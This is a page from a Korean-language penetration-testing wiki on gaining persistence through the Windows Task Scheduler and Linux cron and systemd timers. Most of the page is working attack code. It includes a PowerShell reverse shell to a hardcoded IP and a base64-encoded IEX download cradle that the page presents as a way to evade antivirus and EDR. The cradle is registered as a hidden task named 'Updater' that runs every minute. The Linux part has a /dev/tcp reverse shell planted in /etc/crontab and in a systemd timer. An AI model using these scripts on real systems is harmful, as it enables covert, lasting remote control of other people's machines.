펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page

Was this helpful?

Export as PDF
  1. 지속성
  2. Local

Task Scheduler

PreviousLocalNextStartup Folder

Last updated 26 days ago

Was this helpful?

일반적인 리버스쉘을 받는 환경에서는 파워쉘 리버스쉘 스크립트를 작성하여 공격자 웹 서버에서 대기합니다. 예를 들어 아래와 같은 코드를 Reverse.ps1으로 저장 후, 웹 서버 경로에 올려둔 채로 포트를 대기합니다.

# reverse_shell.ps1 파일
$client = New-Object System.Net.Sockets.TCPClient("192.168.79.130", 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close();

만약 코발트 스트라이크를 사용중일 경우 아래와 같이 웹 경로에 파워쉘 페이로드를 삽입하면 됩니다.

이제 웹 서버에 접속하여 파워쉘 스크립트를 읽고 실행하도록 하는 스케줄을 생성해야 합니다. 파워쉘 명령 중 IEX는 파일리스 방식으로 AV/EDR 탐지를 회피하기 위한 방법 중 하나입니다. 아래는 공격자 웹 서버에 접속하여 Reverse.ps1 파일을 읽고 실행하는 작업을 작업 스케줄로 등록하는 코드입니다.

$str = 'IEX ((new-object net.webclient).downloadstring("http://example.com/Reverse.ps1"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
<-- Base64로 인코딩된 명령어 출력 -->

$TaskName = "Updater"
$PSEXE = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$EncodedArgs = "-nop -w hidden -enc <Base64 Encoded Command>"
$Action = New-ScheduledTaskAction -Execute $PSEXE -Argument $EncodedArgs
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365)
$Principal = New-ScheduledTaskPrincipal -UserId "$env:USERNAME" -LogonType Interactive
Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Principal $Principal

명령어를 입력 후에는 작업 스케줄러가 정상적으로 등록된 것을 확인할 수 있습니다. 작업 스케줄은 1분마다 웹 서버에 접속하여 파워쉘을 실행하도록 되어있어 잠시 기다리면 리버스쉘이 획득됩니다. 코발트 스트라이크에서 웹 서버를 열어 파워쉘 파일을 다운받도록 했다면 비콘 연결이 확인될 것입니다.

Linux 환경에서는 crontab과시스템 타이머를 이용한 스케줄 등록이 가능합니다.

Cron

# 리버스 쉘 코드 입력 및 권한부여
echo - e '#!/bin/bash\nsh -i >& /dev/tcp/<Attacker IP>/<Attacker Port> 0>&1' > rev.sh
chmod +x rev.sh

# 크론 스케줄러에 등록
echo '* * * * * root <PATH>' >> /etc/crontab

# 크론 스케줄이 정상적으로 실행되는지 확인
tail -f /var/log/syslog | grep CRON

Systemed Timer

# Systemd 파일에 서비스 등록 및 권한 부여
echo -e '[Service]\nExecStart=/bin/bash <PATH>' > /etc/systemd/system/rev.service
chmod +x rev.sh

# 시스템을 실행하는 주기를 매분 00초로 설정
echo -e '[Timer]\nOnCalendar=*-*-* *:*:00\nPersistent=true\n[Install]\nWantedBy=timers.target' > /etc/systemd/system/rev.timer

# 데몬 재기동 및 타이머 활성화
systemctl daemon-reload
systemctl enable --now rev.timer

# 등록된 타이머 리스트로 확인
systemctl list-timers

References

Scheduled Task/Job: Systemd Timers, Sub-technique T1053.006 - Enterprise | MITRE ATT&CK®
Logo
코발트 스트라이크 엔드포인트에 파워쉘 스크립트 지정
작업 등록 후 스케줄러 확인
리버스쉘 연결